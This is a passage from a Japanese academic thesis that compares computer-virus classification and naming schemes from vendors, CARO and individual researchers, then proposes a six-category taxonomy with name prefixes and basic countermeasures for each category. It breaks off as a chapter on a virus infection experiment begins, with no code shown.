（長所）
　この分類方法はウイルスを大きく４つの項目に分類しており簡単明瞭である。
（短所）
　この分類方法では多様な形態を持った現代のコンピュータウイルスをこの４つの項目だけで分類するのは無理がある。
　仮に分類を行ったとしても、それぞれの項目に含まれるウイルスの数が膨大になってしまい、結局分類を行っていない状態と同じになる点が問題ではないかと考える。
　また、今日ではデマウイルスを（狭義の）コンピュータウイルスとは考えていないこととデマウイルスがコンピュータのユーザに与える害は一般的に小さく、重要でない点からも一つの分類項目とする必要は無いのではないかと考える。

表 4 の Jacob Bryant は命名方法については述べていない。

・表 5 の Cui、Aoki らの分類方法について
（分類の各項目）
　Cui、Aoki らの分類方法は次の 4 つの項目にウイルスを分類している。
　1.ソースコードウイルス
　2.OS ウイルス
　3.シェルウイルス
　4.侵入ウイルス

（長所）
　この分類方法は独特の観点から分類を行っておりシンプルである。
（短所）
　この分類で挙げられている各分類項目の名前は独自性が認められるが、1 は高級言語で書かれたファイルを攻撃するとし、２は OS に攻撃をかけるウイルスと説明されているが、この攻撃が具体的にどの様に攻撃するのか、何を意味するのか漠然としていてよく分からない。また、3 のシェルウイルスはディスクを初期化するウイルスであり、4 の侵入ウイルスは実施的には実行可能ファイルに感染するファイル感染型のウイルスのことである。よって、この分類では独自性を出すためにこの様な名前を分類項目につけたと解釈したが、かえってウイルスの実体が分かりにくくなっている嫌いがあると思われる。

表 4 の Cui、Aoki らは命名方法については述べていない。

・表 6 の Frej Drejhammar の分類方法について

（分類の各項目）

Frej Drejhammar の分類方法は次の 4 つの項目にウイルスを分類している。

1.拡張子が EXE や COM であるファイルを上書きするウイルス

2.拡張子が EXE や COM であるファイルを上書きしないウイルス

3.COM ファイルを偽装するウイルス

4.ブートセクタやパーティションテーブルに感染するウイルス

（長所）

この分類方法ではシステムの特定領域と EXE、COM ファイルに関するコンピュータウイルスのみを扱っておりシンプルである。

（短所）

システムの特定領域と EXE、COM ファイルに関するコンピュータウイルス以外の、その他のコンピュータウイルスが分類できない点で分類方法として不十分であると考えられる。

表 6 の Frej Drejhammar は命名方法については述べていない。

・表 7 の中村の分類方法について

（分類の各項目）

中村の分類方法は次の 2 つの項目にウイルスを分類している。

1.4 つの OS 別分類

2.感染場所別分類

（長所）

この分類方法では OS 別と感染場所による 2 つの観点から分類を行っており、とても分かりやすい分類方法である。特に OS 別のコンピュータウイルスの分類項目は簡単明瞭で OS ごとに感染するウイルスがよく分かる。

（短所）

高級言語で書かれたウイルスは複数の OS に感染して活動することが可能であるので、2 つ以上の OS の分類項目に該当する場合がある。

この分類方法でも一つの項目に挙げられているマクロで書かれたマクロウイルスなどは OS の違いに関わらず感染可能である。この様なコンピュータウイルスはこの分類方法では 2 つ以上の分類項目に該当することになるので、マクロウイルスとして分類するのか感染して被害を及ぼす OS 別に分類するのか、また、重複を許して分類するのかなどの具体的な分類の仕方に関する点が述べられておらず、そこが疑問であった。

表 7 の中村は命名方法については述べていない。

・シマンテックの分類方法について

シマンテックは、分類に関しては 2004 年 1 月現在、特にこれといった分類方法を提示してはいない。また、HP 上で参考情報という項目で簡単にコンピュータウイルスは 3 種類に大別でき、それはプログラム感染型ウイルス、ブート感染型ウイルス、マクロ感染型ウイルス（マクロウイルス）があると述べるにとどまっている[11]。

・シマンテックの命名方法について

（長所）

命名方法に関しては上で紹介したように次の命名式にあてはめてコンピュータウイルスの名前を付けている。

接頭辞 ＋ドット（.）＋ ウイルスの名前＋ドット（.）＋ 接尾辞

この命名方法では 2004 年 1 月現在で接頭辞の種類が 38、接尾辞の種類が 8 あり、それぞれについて記号化して HP 上で説明がなされている。また、この接頭辞はウイルスの種類や特徴を表した接頭辞をつけるように工夫されていると思われる。

（短所）

接頭辞の数が多く、これを全て覚えることは普通の一般ユーザには酷ではないかと考える。また、接頭辞の中には一目見て理解しやすい W95（windows95 に感染するウイルスを表す）などの接頭辞がある一方で HLLP などの何を表しているのか HP 上の説明を見ないと分からないような接頭辞もある。同様に接尾辞に関しても Family、Worm という意味が分かりやすい接尾辞がある一方で、Gen などの接尾辞は何を意味しているのかシマンテックの HP 上の説明を見ないと分からないようなものが用いられており、さらに分かりやすいものにするための改良の余地があるのではないかと考えた。

・CARO の分類方法について

CARO は分類に関しては 2004 年 1 月現在､特にこれといった分類方法を提示してはいない。

・CARO の命名方法について

（長所）

CARO はコンピュータウイルスの命名方法に関して命名規則というものを提示している。

これの概要は上で述べたように、次の命名式にあてはめてウイルスを命名するものである。

Group_Name ＋（.）＋ Major_Variant ＋（.）＋ Minor_Variant

この命名規則では、実質的に Group_Name がコンピュータウイルスの種類、特徴を表し、Major_Variant と Minor_Variant は亜種の違いや特徴を表しているに過ぎないので、シンプルな命名法である。また、Group_Name は個別のウイルスを表す大きな情報をも持っていることになる。

（短所）

Major_Variant と Minor_Variant は亜種情報であるが、Major_Variant はアルファベットの 1 文字で表されており、明らかに亜種である情報のみを表すだけとなっており、トレンドマイクロの命名方法でもみたように、亜種の中にはオリジナルのウイルスが持っていなかったような機能を持つものや元のウイルスを改良、改悪されたものも多い。その様な点からも他の亜種と特に改良の程度が高く与える被害の大きいものとは、区別をしやすくする名前にする必要があるのではないかと考えた。また、Minor_Variant もウイルスのサイズを表すなど亜種の違いを明確にする以外の情報には乏しく、この点で CARO の命名規則は少しシンプルすぎるのではないかと考えられ、改良の余地があるのではないかと考える。

2.3.1 総合的な評価

（分類方法ついての知名度について）

今回、調査したコンピュータウイルスの分類方法の中での知名度は、日本国内においてトレンドマイクロの分類方法が圧倒的に高い。これはトレントマイクロがウイルス対策プログラムのウイルスバスターを販売しているためと思われる。その他の 2.2 節で紹介したものはほとんど知られていないのが現状である。

（命名方法ついての知名度について）

今回、調査したコンピュータウイルスの命名方法の中での知名度は、日本国内においてはトレンドマイクロが高く、次がシマンテック、続いて情報処理振興事業協会であり、その他の 2.2 節で紹介したものはほとんど知られていないのが現状である（棟上は情報処理振興事業協会の命名方法を紹介している）。これはトレンドマイクロがウイルスバスターを、シマンテックがノートンアンチウイルスの商品名でウイルス対策プログラムを販売しているためと思われる。また、情報処理振興事業協会は日本国内でウイルスに関する情報を提供している唯一の公的な機関として知られているからではないかと思われる。

（ウイルス対策を行う観点からみた総合評価）

実際のウイルス対策のための技術的な面を含む評価は以下のようになると考えている。

（組織の場合）

高い　トレンドマイクロ　＞　シマンテック　＞　CARO　＞　情報処理振興協会　低い

上の様な評価となった理由は、トレンドマイクロは命名と分類のどちらも適度に詳しいものとなっており、また、ウイルスバスターなどの製品により実際にウイルス対策を行っている点、日本国内では一般ユーザへの認知度が高い点が評価できるからである。次にシマンテックは分類に関しては消極的であるが命名に関してはトレンドマイクロより詳しいものを提示しており、トレンドマイクロと同様にノートンアンチウイルスにより実際にウイルス対策を行っていること、日本国内での一般ユーザへの認知度がトレンドマイクロについで高い点が評価できる。

3 番目の CARO は世界的なトップクラスのウイルス研究者たちが集まって組織されている機関でありウイルス対策の研究分野では権威がある。ただし、この機関への入会は実際にウイルス対策を行っているなどの実績が必要な反面、任意加入であり、また、先に紹介した CARO の命名規則も加入メンバに対して使用を強制されるものではなく、その使用は任意であるなど強制力がない点がある。また、ウイルスの対策情報などは発表されるが学術的な研究機関であるという性格が強く、具体的なウイルス対策プログラムを配布するようなことは行っていない点で 3 番目の評価とした。

4 番目は日本においてウイルス情報を提供する公的機関という点から挙げた。しかし、単にウイルスの情報や啓蒙を行っているだけという消極的な対策しか行っていない感がある。

（個人の場合）

高い　中村、棟上　＞　Frej Drejhammar、Jacob Bryant、Cui、Aoki　低い

中村は OS 別とウイルスの感染場所による分類からなる分かりやすい分類行っていた点が評価できる。棟上は古い DOS 系のウイルスについての分類を行っていたが、命名に関しても独自のものではないといえ情報処理振興協会のものを紹介しており、また、文献[1]において簡単であるが特定のウイルスに感染した場合の簡単な復旧方法を述べていた点が評価できる。

Frej Drejhammar、Jacob Bryant、Cui と Aoki らは、それぞれに分類方法を述べていたが、その紹介に終わっていたことと命名方法と対策などには具体的に触れられていないことから中村と棟上より評価を下にした。

2.4　命名と分類方法の試案

本節ではこれまでみてきた先行研究、一般図書、インターネット上の Web 記事、有名なウイルス対策プログラムのベンダーや著名な研究機関で紹介されている事例、現在用いられている命名、分類方法を参考に以下の表 8 にあるような 6 つの項目にコンピュータウイルスが分類できないか新しい分類方法と命名方法の提案を試み、表 8 にあるような分類の提案を行った。

なお、この分類の提案に関して以下に（分類について）、（命名について）、（対策について）と題してそれぞれ説明を行っている。

本研究において行った分類の試案	コンピュータウイルスの具体例
スクリプト型	K1
ファイル感染型	M
特定領域感染型	J
セキュリティホール利用型	X
複合感染型	U1
その他	v1

表８　本研究において行った分類の試案

（分類について）

分類に関しては、次の 6 つの分類項目からなる分類方法を提案する。また、各分類項目についての説明は次のとおりである。

コンピュータウイルス
（対象：狭義のコンピュータウイルス ＋ ワームなど）

- **スクリプト型**
- **ファイル感染型**
- **特定領域感染型**
- **セキュリティホール利用型**
- **複合感染型**
- **その他（ワームなど）**

1.スクリプト型

コンピュータに感染するときに特定のスクリプトが実行できる環境が必要であるもの。例えば VB スクリプト、Java スクリプトで書かれたコンピュータウイルスは、OS が Windows であり、Windows Scripting Host の実行環境が存在しないと活動できない。また、Java アプレット型はコンピュータに感染するときに Java がインストールされている OS であることが感染活動を行うために必要であり、加えて Java に対応したブラウザが必要である。同

様にActiveX型はOSがMSのWindowsでありActiveXの実行環境であるIEの対応バージョンが必要である。

2.ファイル感染型（付加、上書き（一部、全体を含む））

実行可能ファイル（.com、.exeファイル）はもちろんのこと、データファイルへの付加、上書きを行うもの。この中にはステルス型のようなシステムやウイルス検知ソフトがファイルにアクセスするときにいったん感染を解除し、ファイルへのアクセスが終了すれば再感染して、感染を隠すタイプのものも含める。

3.特定領域感染型（ブートセクタ、パーティションテーブルなど）

ハードディスクやフロッピーディスク、その他の物理的メディアの特定の領域、部位に感染し、活動を行うもの。

4.セキュリティホール利用型

OSやアプリケーションプログラムのセキュリティホールを利用して感染するもの。また、システムの脆弱性を悪用して感染するもの。

5.複合感染型

感染時にいくつかのセキュリティホールを利用したり、複数の種類のファイルに感染、特定領域とファイルの両方を感染対象とするものなど感染時に複数の対象、複数の手段と方法を用いて感染と活動を行うもの。

6.その他

自立した一個のプログラムとして活動するウイルス（ワームなど）、または、上の5つの分類項目に該当しないものや分類不可能なもの。

（命名について）

ここで提案した命名方法は、それぞれの分類項目を表す意味の英単語の頭文字を接頭辞として、既知のコンピュータウイルス名に付加する方法を用いている。具体的には以下の命名式を用いた命名方法の提案を行っている。

（各分類項目を表す）接頭辞　＋（既知の）コンピュータウイルス名

ここで、接頭辞は各分類項目を表すscr-、f-、p-、s-、c-、o-のどれか一つを付加する。また、（既知の）コンピュータウイルス名とは、新種のウイルスとして認知され、何らかの

名前がウイルス対策プログラムのベンダーなどによりつけられ次第、この命名式にウイルスをあてはめることで命名するものとする。ただし、まったく新種であり名前がつけられていないものに関しては、例え、そのウイルスの解析が済んでおり対策方法などが分かっていても、新たな別名を増やさない観点からもこの命名方法で直ちには名前を付けることはしない。なお、以下の例では分かりやすいようにわざと太字でこの接頭辞を表現している。

1.スクリプト型　（命名は接頭辞 **scr-**を付ける　script より）
　命名例 **scr-**W97.Melissa.A

2.ファイル感染型　（命名は接頭辞 **f-**を付ける　file より）
　命名例 **f-**Cascade

3.特定領域感染型　（命名は接頭辞 **p-**を付ける　position より）
　命名例 **p-**Anticoms

4.セキュリティホール利用型　（命名は接頭辞 **s-**を付ける　security より）
　命名例 **s-**W32.Nimda.A@mm

5.複合感染型（命名は接頭辞 **c-**を付ける　complex より）
　命名例 **c-**MULT-2-B

6.その他（命名は接頭辞 **o-**を付ける　other より）
　命名例 **o-**Worm_Blebla.B

（対策について）

以下に、簡単であるが上の 6 つの分類項目ごとにウイルスに感染した場合の、更なる被害や 2 次感染を防止する対策、または、2 次感染を防ぐ応急的な対策方法について述べる。

1.スクリプト型

この項目に分類されるウイルスの対策方法は、ウイルス自体がスクリプト言語で書かれているので、ウイルスの活動を防止するにはそのスクリプトを実行する環境を一時的に無効にするか、利用停止にすればこれらのウイルスの新たな活動、2 次感染を防止することが出来る。

2.ファイル感染型

この項目に分類されるウイルスの対策方法は、ウイルス対策プログラムの導入による不自然なプログラムの動きの常時監視以外、有効な方法が現在のところ思い当たらない。

また、別の方法として、ある日時でコンピュータに存在する全てのファイルのファイルサイズ、更新日時の記録をとっておき、一定の期間ごとにそのデータと現在のシステムにあるファイルのサイズ、更新日時を比較し、サイズや変更日時が変化しているものについてウイルスの感染を疑うという方法が考えられる。ただし、これを行うプログラムを作成するか購入して導入しておく必要がある。

別の方法としては、インターネットカフェなどで用いられている、コンピュータの起動時に存在したファイルやシステムの構成情報を保存しておいて、コンピュータの使用が終わり、システムが終了する時、起動中に行われた全ての変更が無効になり、次回起動時は前回の起動時と同じシステムの構成状態に初期化されるプログラムを導入する方法などがある。

3.特定領域感染型

この項目に分類されるウイルスの対策方法は、コンピュータが感染した場合バックアップ用の CD-ROM や FD によりシステムを起動して、これらの領域の再構築などを行う。しかし、より深刻な症状の場合はウイルス対策ソフトによる駆除、復旧に頼るしかないと思われる。

4.セキュリティホール利用型

この項目に分類されるウイルスの対策方法は、まず、どのようなセキュリティホールがアプリケーションや OS に存在するのかその情報を詳しく入手することが第一の対策方法である。また、セキュリティホールを防ぐパッチをアプリケーションや OS 別に、これらの開発元から入手して適用するか、セキュリティホールをもつアプリケーションを使用しないようにする。

5.複合感染型

この項目に分類されるウイルスの対策方法は、どのようなセキュリティホールがアプリケーションや OS に存在するのかその情報を詳しく入手することが第一の対策方法であり、その情報に基づいてパッチをあてたり、プログラムの使用を止める、ウイルスの実行環境を無効にするなどである。

6.その他

この項目に分類されるウイルスの対策方法は、2.ファイル感染型同様、ウイルス対策ソフトの導入による不自然なプログラムの動きの常時監視以外、有効な方法は思い当たらな

い。ただし、スクリプトで書かれているワームなどは、1.スクリプト型で述べたようなスクリプトの実行環境を無効にすることで、根本的な駆除は出来ないが新たな感染やワームの活動は防止することが出来ると考えられる。

2.5　命名と分類方法の試案の評価と考察

2.5.1　命名と分類ついての提案の根拠

2.4節で提案した分類方法とこれを6つの分類項目に分けた根拠は次のような点からである。

1.出来るだけ簡明で分かりやすい分類にする。これはシマンテックの命名方法にみられる接頭辞の例の様に、詳しくすることが返って命名のための接頭辞の数を多くし、分かりにくいものとなる愚を避けるためである。
2.出来るだけ多くの種類のコンピュータウイルスを対象とする（ただし、本研究で扱うとしたコンピュータウイルスの範囲内で)。これは棟上などの分類方法でみられたようにMS-DOSに感染する種類のウイルスのみ対象とした分類では、他のウイルスについて把握することが出来ないためである。
3.様々な命名と分類方法がすでに存在する点からも、本研究で命名と分類を提案することでウイルスに対して新たに異なった別名をつけることが無いように配慮する。
4.現在、事実上の標準的な分類方法となっている分類、例えばトレンドマイクロの分類方法などによってつけられたウイルス名を損なわない形で命名することで、これまでの命名によるウイルス名からもウイルスが検索できるように配慮する。

（6つの分類項目に分けた根拠）

・コンピュータウイルスに感染するファイルの種類
・ウイルスが感染する場所について
・感染時に用いられる技術（スクリプトの使用やその種類など）
・OSやアプリケーションに存在するセキュリティホール、脆弱性の悪用
・自立した一個のプログラムとして活動するウイルス（ワームなど）の存在

今回、上の根拠により 2.4 節において分類方法に関する新しい試案とそれに沿った命名方法の改良を提案した。そもそもこの提案を行う動機は、これまでみてきた先行研究、一般図書、インターネット上の Web 記事、有名なウイルス対策プログラムのベンダー、著名な研究機関で紹介され用いられている命名と分類方法の事例にこれまでにも言及したように、世界的に統一されたものが存在せず、コンピュータの一ユーザとしての立場からみた場合、同じウイルスがウイルス対策プログラムのベンダーごとに違う名前で呼ばれていることに対する分かりにくさ、それを用いることから生じる混乱と不便さがその背景にある。

例えば、実際の例としてW95.CIHというコンピュータウイルスには別名としてChernobyl、PE_CIH、Win95.CIH、Win32.CIH、W95/CIH.1003、CIH.Spacefiller など2004年1月現在で6 つもの別名が付けられている。これはシマンテックにおけるウイルスデータベースでW95.CIHの検索結果によるものであるが、トレンドマイクロで同様に、W95.CIHやChernobylなどの名前でトレンドマイクロのウイルスデータベースに検索をかけても、このウイルスが検索に該当したとして表示されはしない。これはトレンドマイクロはトレンドマクロ独自のウイルス命名方法でこのウイルスに名前をつけてデータベースに登録を行っていることがその理由と推測される。

命名に関して生物の世界を例にとると、生物の世界では世界的に統一された学名が存在し、この学名をつけるための命名方法がある。それに従ってつけられた学名は、世界のどこへ行ってもその学名で呼ばれる生物は一つに同定できる様になっている。しかし、コンピュータウイルスの世界では、この学名に相当する統一した命名方法が存在しない。

そもそも生物の世界に学名が存在する一つの理由は、国や地域の違いが生物の世界には存在し、そのことによって同一の種や個体が異なった名前で呼ばれることは、生物を分類し研究するのに不便と混乱が生じるため、世界共通の名を付けることによってその様な問題を解決することが目的であった。これに対してコンピュータウイルスの世界は、インターネットに代表される急速な地球規模でのネットワーク化の発達に伴い、今日、実質的には国や地域の違いが存在しないにもかかわらず世界的に統一した命名と分類方法が存在しない。このことは生物の世界で世界的に統一された学名が制定される前の、国ごとに同一の生物を、別々に名前をつけて呼んでいるのに相当する。例えば、鳥のハトは日本ではハトであるが、中国では鳩となり、英語圏の国ではdove、ドイツではTaubeと表記が異なり、これではその国に住んでいる人以外、この単語の名前が何を表しているのか、どの生物を表しているのか分からない。現在のコンピュータウイルスの世界はちょうどこれと似たような状態である。もっとも、生物の世界における固有種の様にその国だけにしか存在しないもの、例えば、日本の沖縄にしか生息しないヤンバルクイナのような生物ならば、学名のような世界的に統一された命名方法による名前は必要ないかもしれない。何故ならヤンバルクイナが生息しない海外では仮にその名前に相当する名前があったとしてもたいした意味をなさないからであり、この場合は日本でしかその名前は通用しないと一般的には考えられるからである。しかし、コンピュータウイルスの世界は、先に述べたようにすでに特定の地域や一つの国だけに限った問題で済むような状況ではなく、アメリカで被害をもたらしたウイルス、例えばCode Redのようなウイルスが数時間、もしくは数十分後には日本でも被害をもたらした過去の事実を考えるとネットワーク化が進んだコンピュータの世界はもはや国や地域という違いは存在せず、一つの共同体と考えたほうが現状をよく表していると考えられる。その様な状況の中で明らかに害をもたらすことが分かっているコンピュータウイルスに対して、その命名や分類方法に関して未だに統一したものがないという現状は問題があるのではないかと考え、その点を常に疑問に持って今回の研究を行った。

2.5.2　命名と分類方法の新しい提案について

次に本研究で行った新しい分類方法の提案とそれに沿った命名方法の改良について述べる。

今回、2.2 節で紹介した先行研究などを参考に 6 つの分類項目からなるコンピュータウイルスの新しい分類方法の提案とそれに沿った命名方法の改良を試み、表 8 にあるような分類を行った。この 6 つの分類項目（スクリプト型、ファイル感染型、特定領域感染型、セキュリティホール利用型、複合感染型、その他）に分類を行った理由は、先に紹介したように、これまで見てきた分類方法がウイルスの感染方法や活動の形態、症状など実際に感染が起きたときの状態から観察される症状を主に分類の根拠として重視していると思われた点と、シマンテックの命名方法に見られる様に詳しい命名のために接頭辞の項目を多く作成したため、接頭辞自体の項目が多くなって明確さが失われているように思われた点などを改善するためである。また、分類は使う者の立場からするとできるだけ項目が少ないほうが簡明で理解しやすいという観点から、出来るだけ少ない分類項目にすることを目的として分類をした結果であった。

さらに、これまでの分類方法からは、個々のコンピュータウイルスの具体的な感染や活動を防止するために役に立つ情報、および、個々のウイルスの引き起こす病状の情報を知るには、ウイルスごとにウイルスデータベースなどから詳細な情報を引き出した上でないと対策が採れないという欠点があった。特にコンピュータに感染したウイルスがネットワークを介して感染を広げるようなタイプのウイルスであることが分かった場合に、そのことが分かるまでの経過時間に新たな感染を引き起こす可能性があり、その点でこれまでの分類方法では感染したときに、さらなる 2 次感染を防ぐための対策や応急処置を採るための情報が読み取れないのではないかと考え、これを改善することもこの分類の提案の目的としている。

今回、本研究で行った分類では、上の掲げた目的を分類に取り入れ、出来るだけ分類項目を少なくした結果、6 つの分類項目から成る分類となり非常にシンプルで分かりやすいものとなった。また、実用性も考慮したつもりである。例えば、自分のコンピュータが何らかのコンピュータウイルスに感染したとしても、その病状やコンピュータの動作の様子から感染したウイルスのタイプが予測できるか運良く既知のウイルスであり、その名前か症状などからウイルスのタイプが分かりさえすれば、そのウイルスが新しく提案した分類方法においてどの項目に該当するか確かめた上で、項目ごとに示した対策をユーザは採ることが出来ると考える。その間は新たな 2 次感染を防ぐことが出来る点がこの分類の長所であると考える。

より具体的な事例で述べると、ある URL を閲覧し、その HP 上のリンクをマウスでクリックしたところ、ファイルらしきものがダウンロードされ、それが拡張子などから何らかのスクリプトで書かれたコンピュータウイルスの疑いがあり、これが自分のコンピュータで実行され感染の疑いが生じたとする。その時、このウイルスが今回、提案した分類ではス

クリプト型に分類されることが分かるので、まず、応急処置としてブラウザの Java Script、Java、ActivX の使用を止めるなどの対策が採れる。また、OS が windows 系列であれば Windows Script Hosting を無効にすることで Java Script、VBS（Visual Basic Script）で書かれたウイルスは活動できなくなる。さらにマイクロソフトの Office が存在すれば、そのマクロ機能を無効にすることで、このウイルスが例えマクロを利用したマクロウイルスであったとしてもコンピュータ内で活動することが出来なくなり、とりあえず更なる発病と感染の拡大は防ぐことが可能である。そして、この間に詳細なウイルスの情報を得ることで具体的な駆除方法を探す時間を稼ぐことが出来る点がこの分類方法の長所であると考える。

加えて、すでに知られている、命名されているコンピュータウイルスの名に、今回、提案した分類の項目に沿った接頭辞を付けて命名しなおし、予め分類項目ごとにウイルスを分類してリストを作っておけば、既知のウイルスに感染した時、そのウイルスがどの項目に該当するウイルスか先に分類しなおしたこのリストに照らして、ウイルス名での検索をかけることでウイルスが所属する分類項目が分かり、その項目に掲げられている対策法を採ることで、とりあえず 2 次感染を防ぐ応急対策を採ることが出来る。そして、その間に本格的な対策の情報を得るための時間稼ぎを出来る点がこの分類方法に沿った命名方法の長所であると考えている。

だが、残念ながら本研究で行った分類方法にも問題点がある。それはコンピュータに感染したウイルスの名前やタイプを知るには、感染したコンピュータの感染時の症状やその活動の様子を判断の材料とするが、その情報からウイルスの名前を特定することは、ごく普通の一般のユーザにとっては難しい作業かもしれないということである。また、ウイルスの名前がすぐ分かるような状況は、一般的に何らかのウイルス対策プログラムやこれに類似したものがすでにその感染したコンピュータ上に導入されていると考えられもするので、そのウイルス対策プログラムなどにウイルスの処理を任せて、わざわざ今回、提案を行った分類ごとの対策をとる必要はないという意見があるかもしれない。また、さらにいうとユーザはウイルスのことはウイルス対策プログラムに全て任せて一切関知する必要は無いという意見があることが考えられる。しかし、この考えには賛成できない。何故なら今日、コンピュータを使用する限りウイルス感染の危険は必ず存在し、いくら気をつけていても完全にウイルスの危険性から逃れることは出来ないからである。その様な状況下でもし、ウイルスに感染した時にウイルス対策プログラムに全てを任せていたためにどの様な対策をしたらコンピュータや自分のデータを守ることが出来るか、2 次感染を防ぐなどの措置を採ることで自分以外の他のコンピュータや人に被害を与えないかも判らない様ではあまりにもお粗末であり、コンピュータを使う資格は無いのではないかと考えるからである。また、直接の被害は無くても、現在の社会では何らかの形でコンピュータの働きに負う部分があり、そのコンピュータがウイルスに感染すると間接的には害を被ると考えられる。よって、ウイルス対策プログラムを信じるのもよいが妄信することは避けるべきだとこの様な意見には反論する。

最後に、この分類においてファイル感染型、および、その他に分類した主にワームに代表される自立した一個のプログラムとして活動するウイルスは感染活動のために特定の実行環境や技術を必要とせず、コンピュータの最も基本的な機能であるプログラムを実行するという機能のみを用いているので、仮に名前が判明したとしてもユーザが簡単に採ることが可能な有効な対策や新たな 2 感染を防ぐ応急対策が少なく、ウイルスを根本的に駆除するにはウイルス対策プログラムに任すしか対策の方法がない点が存在することである。これらの点に関して今回新しく提案した分類方法には改善の余地があると認められた。

2.5.3 命名と分類が統一されない背景について

これまでの調査から分かったことは、コンピュータウイルスに対するウイルス対策プログラムを開発しているベンダーの関係者は、感染対策やウイルスの駆除、被害の回復などには力を注ぐが、ウイルス自体の名前や分類に関しては、その作業をすることのメリットが少ないと認識しているようである[18]。また、ウイルスの解析者にとって、ひと月に新たに発見されるウイルスの数がますます増加する現状では、ウイルスを解析してその機能の解明と予防、駆除の方法を提供するのに費やす労力と、ウイルスの命名と分類方法を確立することに費やす労力を比較した場合、後者の方に費やされる労力に見合っただけの利益が得られるか疑問であるという意見がある[18]。また、命名や分類方法を確立して運用することより、一般のコンピュータのユーザはウイルスの予防や駆除、感染した時の被害からの回復に関する情報の方により関心があるとも述べている[18]。確かにこの意見はウイルスの対策を望む多くの一般ユーザの意見を代弁しているとも考えられる。実際、あるコンピュータウイルスとその亜種がもたらす被害はオリジナルのものでも、その亜種でもほとんど変わらない場合も少なからずある。その様な場合に正確なウイルスごとの同定のための命名と分類方法の確立に労力を注ぎ、正確な命名と分類を行うことが出来るようになるメリットとこのウイルスに対する有効な予防や駆除方法の作成に労力をかけることから得られるメリットを比較するとどちらがより重要であると思うかユーザに尋ねれば、多くのユーザは後者のメリットを挙げるものと思われる。

また、今日、コンピュータウイルスの感染は、複合感染に見られるようにいくつもの感染手段を使った、複雑な仕組みを備えたものが多くなっており、加えてネットワークを利用して感染を行うものが普通となっているため、コンピュータウイルスの解析者はこれらのウイルスを発見した時にその解析と予防、駆除の方法などの情報を導き出し作成する時間が以前に比べてますます限られていることを考え合わせるとウイルスの命名と分類方法の確立に多くの労力を裂くことはより困難な状況にあるという意見[18]にも一理あると考えられる。しかも、利潤の追求の求められない研究機関とは異なり、実際のウイルス対策プログラムを開発しているベンダーは、あくまで利潤を追求する一企業であるため、当然、出来るだけウイルスの解析作業に掛かるコストは少なくしたいと考えるのが当然であると

思われる。よって、直接の利益にならない命名と分類方法の確立に積極的な取り組みが行われないことはやもえないことであるかもしれないと考えられる。

コンピュータウイルスの命名と分類方法に関しては、現在の状況を鑑みるとその世界的に統一された方法が今後も確立される可能性は残念ながら少ないと今回は結論せざる終えない。一般ユーザの立場からするとウイルスの命名と分類方法に世界的に統一されたものがなく、ウイルス対策プログラムのベンダーや研究機関ごとに同一のウイルスの名前が異なり多数の別名が存在することは、ユーザとしては不便であり混乱の源となると思われるが、それでも現状ではこのシステムが使われているところをみると大きな問題は無いのかもしれない。しかし、今後も増え続けることが確実である種々のコンピュータウイルスに対して、その名前が分かりにくい、名前が何を表しているのかよく分からない。もっとユーザに分かりやすい名前をウイルスに付けるべきではないかという意見も確かにある[19]。だが、このような意見は今のところ多くはみられないことも事実である。よって、今回の調査からの結論は、今後もコンピュータウイルスの世界に統一された命名と分類方法が確立される可能性は少なく、現在の各ベンダーや研究機関ごとに異なる様々な命名と分類方法が混在する状況が当分の間、続くものと予測する。

第 3 章　本研究で提案した分類に属するウイルスの動作検証と解析

3.1　はじめに

第 2 章において、コンピュータウイルスの世界の側からみると、現在はネットワークの相互接続により地球全体が一つの共同体とみなせる状態になっていること、すでに国や地域の違いという見方は意味をなさなくなっていることを述べた。そして、その様な状況下でウイルスの命名と分類方法に関しては未だに世界的に統一されたものがなく、種々の命名と分類方法が存在し、この状況は将来も当分の間、続くであろうと結論した。その理由の一つにはウイルス対策プログラムを開発しているベンダーの一つ、シマンテックの研究員が述べているように[18]、ウイルス解析者はウイルスの命名と分類方法の確立よりウイルス自体の解析とその予防、駆除などの情報を提供することの方がより重要な作業であると考えており、また、今日、ひと月に発見される新種のコンピュータウイルスの数が以前比べてはるかに多くなっていること、その新たに発見されるウイルス自体が多機能化、複雑化していて解析の作業に多くの時間と労力がかかるようになっていることなどから、解析の作業に追われているとしている。そして、そのことがますます命名と分類方法の確立に労力を裂くことを難しくする要因の一つとなっており、しかも、一企業であるベンダーにとっては直接の利益に結びつかない、よって重要とはみなされない作業として軽視されていると考えられるに至っていると現状を述べていた[18]。

では、この有名なウイルス対策プログラムの一つを開発しているベンダーのウイルス研究者が述べる、コンピュータウイルスの解析という作業が実際にどの様なものであるのか、この第 3 章においてその作業を実際にウイルスの動作検証実験を通して確かめることで、現在のウイルス解析の現状を検証すると共にウイルスの命名や分類方法の確立が、ウイルスの解析作業に比べて重要視されていないとする、上で言及されているような理由の一端を確かめることをこの第 3 章の一つの目的とする。

また、この実験では第 2 章で提案した分類において、ファイル感染型の分類項目に該当する独立した一個のプログラムとして存在し、その他の項目に分類したワームなどと同じように、コンピュータの最も基本の機能であるプログラムを実行するという機能のみを利用するウイルスの一つを採り上げ実験に用いた。

そもそも、この実験を行ったもう一つの目的は、提案した分類における上２つの分類項目に該当するタイプのウイルスに対しては、独立した一個のプログラムとして活動するという特徴から、この分類方法では有効な対策、または、2 次感染を防ぐための簡単な応急対策が無く、ウイルス対策プログラムの導入をするなどの方法しか一般のユーザが採ることが出来る有効な対策方法が無いと述べた。ここではこの点を検証する意味合いをも込め、また、この分類項目に該当するウイルスへの新しい何らかの独自の対策方法のヒントとなる一つの知見が得られないか調査も兼ねている。

なお、実験では第 2 章で提案した分類方法においてファイル感染型の分類項目に該当するウイルスの一種を新種のコンピュータウイルスと見立てて、予め手に入れておいたこの

ウイルスのソースコードも参考にして、実際にウイルスをコンピュータに感染させ、その時の動作、発病の症状の観察を行った。そして、次にこのウイルスのコード解析を試み、ファイルに感染するタイプのウイルスについて予防方法や駆除に関する何らかの情報が得られないか、これを本章でのもう一つの目的として実験を行った。

3.2 ウイルスの感染実験とその症状

（実験方法）

